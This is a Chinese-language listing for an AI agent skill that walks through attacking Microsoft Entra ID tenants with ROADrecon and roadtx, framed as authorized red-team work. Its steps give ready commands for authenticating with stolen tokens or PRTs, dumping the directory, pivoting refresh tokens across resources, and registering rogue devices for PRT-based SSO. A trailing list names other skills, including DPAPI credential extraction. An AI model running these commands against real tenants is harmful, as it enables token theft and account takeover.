Communitygithub.com

使用 ROADtools 攻擊 Entra ID

使用 ROADrecon 和 roadtx 列舉 Microsoft Entra ID (Azure AD) 租戶,並進行令牌操作與裝置註冊。

使用 ROADtools 攻擊 Entra ID 是什麼?

這個技能教導如何在授權的紅隊演練或雲端滲透測試中,利用 ROADtools 工具箱攻擊 Microsoft Entra ID (Azure AD) 租戶。ROADtools 包含兩個主要元件:**ROADrecon** 可透過 Azure AD Graph API 驗證並將整個目錄離線擷取至本地 SQLite 資料庫,再透過 Angular GUI 離線瀏覽使用者、群組、角色、應用程式、服務主體、條件存取原則及裝置物件;**roadtx** 則專注於令牌操作,支援多種 OAuth 流程(如 ROPC、裝置代碼、授權碼、重新整理令牌交換、應用程式/同盟應用程式)以及裝置註冊和主要重新整理令牌 (PRT) 操作。此技能完整涵蓋 MITRE ATT&CK 的發現階段,特別是 T1087.004 雲端帳戶發現與 T1528 竊取應用程式存取令牌。支援平台包括 Linux、macOS 與 Windows,需 Python 3.7+ 環境。工作流程從使用 ROADrecon 驗證開始,接著擷取目錄、透過 GUI 分析、執行外掛程式(如匯出至 BloodHound 或分析條件存取原則),再使用 roadtx 取得並交換令牌,最後進行裝置註冊與 PRT 基礎的 SSO 測試。所有操作均需明確的書面授權,未經授權存取雲端租戶屬違法行為。

相容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools

在你喜歡的 AI 中提問

開啟一個已預先載入此 Agent Skill 的新對話。

說明文件

使用 ROADtools 攻擊 Entra ID 是做什麼的?

僅限授權使用: ROADtools 會與實際的 Microsoft Entra ID (Azure AD) 租戶互動,可註冊裝置、獲取和交換令牌,以及列舉目錄物件。僅可針對您擁有或經書面明確授權測試的租戶使用。未經授權存取雲端租戶屬違法行為。

概述

ROADtools(由 Dirk-jan Mollema 開發)是 Microsoft Entra ID 的事實標準攻擊工具箱。它包含兩個主要元件:

  • ROADrecon — 驗證至 Entra ID,透過 Azure AD Graph API 將完整目錄擷取至本機 SQLite 資料庫,並提供 Angular GUI 以離線瀏覽使用者、群組、角色、應用程式、服務主體、條件存取原則及裝置物件。其外掛系統可匯出至 BloodHound 並分析 CA 原則。
  • roadtx (ROADtools Token eXchange) — 透過多種 OAuth 流程(ROPC、裝置代碼、授權碼、重新整理令牌交換、應用程式/同盟應用程式)取得和交換 Entra 核發的令牌,執行裝置註冊,以及處理主要重新整理令牌 (PRT) 操作,包括 PRT 基礎的 SSO 和 Cookie 偽造。其 FOCI(用戶端識別碼家族)感知功能可將一個第一方用戶端的重新整理令牌用於另一個資源。

兩者共同涵蓋針對雲端身分識別的發現階段:列舉租戶(T1087.004 帳戶發現:雲端帳戶)並取得/操作存取 Microsoft Graph、Azure Resource Manager 及其他資源所需的令牌。ROADrecon 的離線資料庫使偵察隱蔽且快速;roadtx 則使令牌竊取、PRT 濫用及跨資源橫向移動變得實用。

使用時機

  • 在授權的 Azure / Entra ID 紅隊演練或雲端滲透測試期間。
  • 當您擁有初始憑證、重新整理令牌或 PRT,且需要列舉租戶時。
  • 當您需要將令牌從一個資源(例如 Azure CLI)遷移到另一個資源(例如 Microsoft Graph)時。
  • 當驗證條件存取、裝置合規性及令牌控管是否能實際約束攻擊者時。
  • 當繪製 Entra 攻擊路徑(匯出至 BloodHound 進行圖形分析)時。

先決條件

  • 目標租戶的書面授權與已定義的範圍。
  • 起始憑證:使用者名稱/密碼(無 MFA 流程)、裝置代碼工作階段、重新整理/存取令牌,或已註冊裝置的 PRT。
  • Python 3.7+(roadtx 的 Selenium 流程需要相符的 geckodriver/Firefox)。
# 核心安裝(roadlib 是共享相依套件,會自動拉入)
python -m pip install roadrecon
python -m pip install roadtx
# 驗證
roadrecon --help
roadtx --help

目標

  • 透過適當的流程驗證至 Entra ID(裝置代碼流程較適合 MFA)。
  • 使用 ROADrecon 擷取完整目錄並在 GUI 中分析。
  • 將目錄匯出至 BloodHound 並執行 CA 原則分析外掛程式。
  • 使用 roadtx 取得令牌,並在資源/用戶端間交換重新整理令牌。
  • 示範 PRT 基礎的 SSO 並記錄所獲得的存取權。

MITRE ATT&CK 對應

ID戰術官方技術名稱在本技能中的角色
T1087.004發現帳戶發現:雲端帳戶ROADrecon 列舉租戶使用者/帳戶
T1069.003發現權限群組發現:雲端群組ROADrecon 列舉 Entra 群組和角色
T1538發現雲端服務儀表板透過 GUI 探索租戶設定
T1550.001防禦規避 / 橫向移動使用替代驗證材料:應用程式存取令牌roadtx 跨資源重新整理令牌交換
T1528憑證存取竊取應用程式存取令牌roadtx 取得 PRT/令牌

工作流程

步驟 1:使用 ROADrecon 驗證

選擇與您初始存取相符的流程。裝置代碼支援 MFA;ROPC(-u/-p)則不支援。

# 使用者名稱/密碼(舊式,無 MFA)
roadrecon auth -u [email protected] -p 'Password123!'

# 裝置代碼流程(支援 MFA)
roadrecon auth --device-code

# 使用竊取的存取或重新整理令牌
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# 使用 PRT(含工作階段金鑰)以獲得 SSO 等級存取
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

驗證會在工作目錄中寫入 .roadtools_auth。

步驟 2:擷取目錄

# 完整擷取至 roadrecon.db(預設)
roadrecon gather

# 包含 MFA/驗證方法詳細資料(需要具備權限的角色)
roadrecon gather --mfa

步驟 3:在 GUI 中探索

roadrecon gui
# 瀏覽至 http://127.0.0.1:5000 — 使用者、群組、角色、應用程式、
# 服務主體、裝置及條件存取原則,全部離線可用。

步驟 4:執行分析外掛程式

# 分析條件存取原則
roadrecon plugin policies -h
roadrecon plugin policies

# 將擷取的資料匯出為 BloodHound 可匯入的格式
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

步驟 5:使用 roadtx 取得令牌

# ROPC:為 Azure CLI 用戶端取得 Microsoft Graph 令牌
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph

# 裝置代碼風格的互動式驗證,為 Teams 用戶端取得 Graph 令牌
roadtx interactiveauth -c msteams -r msgraph

# 使用現有的重新整理令牌
roadtx gettokens --refresh-token <refresh_token> -r msgraph

令牌會寫入 .roadtools_auth(使用 --tokens-stdout 可列印至標準輸出)。

步驟 6:跨資源交換重新整理令牌(FOCI 橫向移動)

為一個第一方用戶端取得的 FOCI 重新整理令牌,可用於另一個資源而無需重新驗證。

# 將儲存的重新整理令牌轉換為 Azure Resource Manager 令牌
roadtx refreshtokento -r azrm

# 透過 Teams 用戶端轉換為有範圍的 Graph 令牌
roadtx refreshtokento -c msteams -r msgraph

# 尋找哪些第一方用戶端持有特定範圍
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

步驟 7:裝置註冊與 PRT 基礎的 SSO

# 向租戶註冊一個(虛擬)裝置
roadtx device -n redteam-device

# 使用裝置憑證/金鑰及使用者憑證請求 PRT
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# 使用 PRT 為用戶端驗證至某個資源(SSO 等級)
roadtx prtauth -c msteams -r msgraph

# 使用互動式 MFA 宣告豐富化 PRT
roadtx prtenrich -u [email protected]

步驟 8:檢查令牌

# 解碼並列印儲存的或提供的令牌的宣告
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

工具與資源

工具用途主要來源
ROADtools(儲存庫)工具箱總覽 + 維基https://github.com/dirkjanm/ROADtools
ROADrecon 維基驗證/擷取/GUI/外掛使用說明https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
roadtx 維基令牌交換 + PRT/裝置流程https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CE匯出之 Entra 資料的圖形分析https://github.com/SpecterOps/BloodHound
Microsoft 身分識別平台令牌/流程參考https://learn.microsoft.com/entra/identity-platform/

驗證標準

  • 透過授權流程驗證至目標租戶;已建立 .roadtools_auth。
  • 目錄已擷取至 roadrecon.db(若角色允許則加上 --mfa)。
  • 已探索 GUI;已檢閱使用者、群組、角色、應用程式、CA 原則。
  • 已執行 CA 原則與 BloodHound 外掛程式;資料已匯出。
  • 使用 roadtx 為至少一個資源取得令牌。
  • 已示範將重新整理令牌交換至第二個資源(FOCI 橫向移動)。
  • 已註冊裝置並示範 PRT 基礎的 SSO(若在範圍內)。
  • 使用 roadtx describe 檢查令牌宣告。
  • 已記錄發現結果與存取權限,供稽核報告使用。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相關技能